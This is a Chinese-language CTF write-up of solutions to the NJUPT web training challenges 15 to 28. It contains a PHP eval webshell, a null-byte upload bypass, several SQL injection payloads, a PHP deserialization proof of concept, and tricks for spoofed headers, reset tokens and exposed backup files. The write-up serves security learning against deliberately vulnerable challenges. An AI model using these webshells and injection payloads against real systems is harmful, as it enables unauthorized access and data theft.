前言
最近又做了南邮的Web题,发现有的题崩了。不过已经把未崩的Web题做完了,再次总结一下
Web15:伪装者
题目没有提示。点进去发现
发现只能本地登录,才能得到flag。所以进行IP欺骗,即可得到flag。一般情况下是XFF(X-Forwarded-For)请求伪造。不过这道题试过之后,发现并没有什么用。查询百度:
IP欺骗(XFF头等)
由此,可以使用
Client-IP: 127.0.0.1
进行本地IP欺骗。伪造之后,Forword发包,得到flag
Web16:Header
发现题崩了,不过我下载过源码,所以本地搭建做一下
根据题目描述,很明显想到http请求头和响应头。截包发现flag在响应头里
Web17:上传绕过
由题目描述,可以知道这道题考察的是文件上传漏洞。因为之前总结过,所以直接开始做题。
先随便上传一个文件,发现要求上传PHP后缀的文件
然后写一个PHP的一句话木马:
<?PHP @eval($_POST['a']); ?>
绕过思路:先将
webshell.PHP
的.PHP
后缀改为.png
。然后上传该png文件,绕过黑名单,再将.png后缀变为.PHP。最后再去掉.PHP
由此想到了00截断进行绕过,并且是POST型的。
先上传
webshell.png
,在/uploads/后加上webshell.PHP+空格
然后将空格0x20改为0x00
forward发包,得到flag
Web18:sql注入1
根据题目描述,很明显是sql注入。
点击Source,查看源码
发现当SQL查询有返回值,且user="admin"时,即可得到flag。并且闭合方式为
')
所以构造payload:
admin')#
Web19:pass check
strcmp() 函数
strcmp() 函数比较两个字符串。strcmp() 函数是二进制安全的,且区分大小写。
该函数返回:
0 - 如果两个字符串相等
<0 - 如果 string1 小于 string2
>0 - 如果 string1 大于 string2
代码审计一下:
1、post传参,且参数变量为pass,赋值给变量$pass
。变量$pass1
的值被隐藏。
2、如果设置了$pass
,且strcmp() 函数返回0,即可得到flag。
3、要使strcmp() 函数返回0。可以$pass==$pass1
,也可以strcmp(array,string)=null=0
4、所以使strcmp返回NULL就可以得到flag
Web20:起名字真难
ord()函数
代码审计一下:
1、get传参,参数值通过自定义函数进行检查,对参数值的每一位进行检查。
2、如果ascii码
>=
1的ascii且<=
9的ascii,返回false。即题目要求不能输入1-9数字,3、但是输入的字符串必须和54975581388相同
4、所以可以用和54975581388等值的16进制表示(利用了PHP的弱类型的特性)
10进制转16进制
get传参,得到flag
Web21:密码重置
题目提示账号为admin,要进行密码重置。打开题目
账号无法修改,只能重置账号ctfuser。所以抓包修改
发现
Y3RmdXNlcg==
比较特殊,是Base64加密的,解密结果发现是ctfuser所以想着把admin进行Base64加密,
Y3RmdXNlcg==
替换成admin加密结果Forward发包,得到flag
Web22:PHP 反序列化
反序列化?!还好已经学习过。审计代码,开始做题
代码审计一下:
1、stripslashes()函数的作用是删除反斜杠,代码的意思是如果添加了反斜杠,则将反斜杠\删除。
if(get_magic_quotes_gpc()){
$pass=stripslashes($pass);
}
2、然后将pass进行反序列化操作,并赋值给变量o。
$o = unserialize($pass);
3、如果对象o赋值成功,将对象o的secret变量设置为*,并判断对象o的secret变量和enter变量是否相等,===判断数值及属性,如果相等输出flag。
if ($o) {
$o->secret = "*";
if ($o->secret === $o->enter)
echo "Congratulation! Here is my secret: ".$o->secret;
else
echo "Oh no... You can't fool me";
}
不知道secret的值。所以我们想到了引用a=&b,即PHP对象深浅拷贝
构造POC(在初始化的时候将$this->enter=&$this->secret
进行引用):
<?PHP
class just4fun {
var $enter;
var $secret;
function just4fun()
{
$this->enter=&$this->secret;
}
}
echo serialize(new just4fun());
?>
得到序列化字符串O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}
构造payload得到flag(N表示NULL,R表示对象引用):
提交flag发现不对,因为题有问题。。。。。。。
PHP序列化格式详解:
a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string
Web23:sql Injection
题目提示:反斜杠可以用来转义,仔细查看相关函数的用法
打开题目,查看源码
magic_quotes_gpc函数
在PHP中的作用是判断解析用户提示的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。
单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符都会被加上反斜线。这些转义是必须的,如果这个选项为Off,那么我们就必须调用addslashes这个函数来为字符串增加转义。
stripslashes() 函数
删除反斜杠
htmlentities() 函数
把字符转换为 HTML 实体
htmlentities($str, ENT_COMPAT); // 只转换双引号
htmlentities($str, ENT_QUOTES); // 转换双引号和单引号
htmlentities($str, ENT_NOQUOTES); // 不转换任何引号
代码审计一下:
1、传入GET类型的username以及password,首先调用了clean方法
2、clean方法首先判断是否开启了添加反斜杠,如果添加了,使用stripslashes()删除反斜杠,然后调用htmlentities()方法将把字符转换为 HTML 实体,htmlentities($str, ENT_QUOTES); // 转换双引号和单引号
3、因为带反斜杠的单引号,被转义为字符了,无法参与闭合操作。下一步考虑的是将单引号闭合
4、可以通过反斜杠对单引号进行转义。
当我们输入username=admin&password=123时,会将username后的单引号进行转义,构造语句如下:
SELECT * FROM users WHERE name=<font color=#FF0000 size=3>'</font>admin' AND pass=<font color=#FF0000 size=3>'</font>123'
所以将第一个单引号和第三个单引号进行闭合。
SELECT * FROM users WHERE name=<font color=#FF0000 size=3>'</font>admin' AND pass=<font color=#FF0000 size=3>'</font> or 1 #'
payload
?username=admin\&password=or 1 %23
或
?username=admin\&password=or 1=1--+
Web24:综合题
题目描述没提示,查看题目
我也不知道是什么玩意儿。不过之前做过颜文字aaencode,看着两者比较像,想着是不是可以用谷歌的Console,发现可以。
不过还是了解一下这是什么编码。看大佬博客发现这是JSFuck编码。可使用浏览器控制台直接解密,也可使用在线JSfuck解密工具。
访问得到的PHP文件
提示:TIP在我脑袋里,在文件的header里发现了history of bash
百度一下history of bash。发现在Unix中 , 会生成一个
.bash_history
的文件 , 记录了用户的操作历史尝试访问这个文件 :
在bash_history中记录了执行压缩包的操作,所以我们访问以下flagbak.zip
http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/flagbak.zip
开始自动下载文件,打开后得到flag!
system题崩了。。。
Web25:sql注入2
题目提示union查询。打开题目,点击Source,查看源码
strcasecmp() 函数
strcasecmp(string1,string2)比较两个字符串。
该函数返回:
0 - 如果两个字符串相等
<0 - 如果 string1 小于 string2
>0 - 如果 string1 大于 string2
代码审计一下:
1、post传入user赋值给$user
,传入pass经md5加密赋值给$pass
2、$query
等于查询pw字段返回结果。如果有返回值,则$query[pw]
为ture,否则为false
3、如果变量存在,并且,$pass
与$query[pw]
相等(不区分大小写),输出flag
所以考虑在$user
上加上一个union语句,即向$query的结果集中在加一条。
payload
' union select md5(123)#&pass=123
Web26:密码重置2
依旧是密码重置,题目有三条提示:
查看源码,发现管理员邮箱
百度一下,vi编辑器异常退出会留下的备份文件:
第一次产生的交换文件名为“.file.txt.swp”;再次意外退出后,将会产生名为“.file.txt.swo”的交换文件;而第三次产生的交换文件则为“.file.txt.swn”;依此类推。
由此再次查看源码
发现
submit.PHP
,所以访问.submit.PHP.swp
,得到验证源码代码审计一下:
$token
长度为10,数值为0,并且邮箱号和token不为空。所以输入刚才的管理员邮箱,token为
0000000000
最终,得到flag
Web27:file_get_contents
题目标题file_get_contents,想到之前学文件包含漏洞时遇到过
file_get_contents() 函数把整个文件读入一个字符串中。
打开题目查看源码
传入一个文件,经file_get_contents() 函数把整个文件读入一个字符串中,如果字符串等于meizijiu,得到flag。
想到了学文件包含漏洞时的PHP伪协议
这里应该是PHP://input (读取POST数据)。file_get_contents(“php://input”)的使用方法
PHP伪协议也是可以利用http协议的,即可以使用POST方式传数据
Web28:变量覆盖
提示:变量覆盖
打开题目,查看源码
emmm。。。不会,查看大佬博客
分析代码:可变变量key获取了一个普通变量value的值作为这个可变变量的变量名。使用foreach来遍历数组中的值,再将获取到的数组键名作为变量,数组中的键值作为变量的值。因此就产生了变量覆盖漏洞。
通过地址栏进行GET传参,变量覆盖便形成了
$$key = $name
$value = meizijiu233
$name == "meizijiu233"
所以得到flag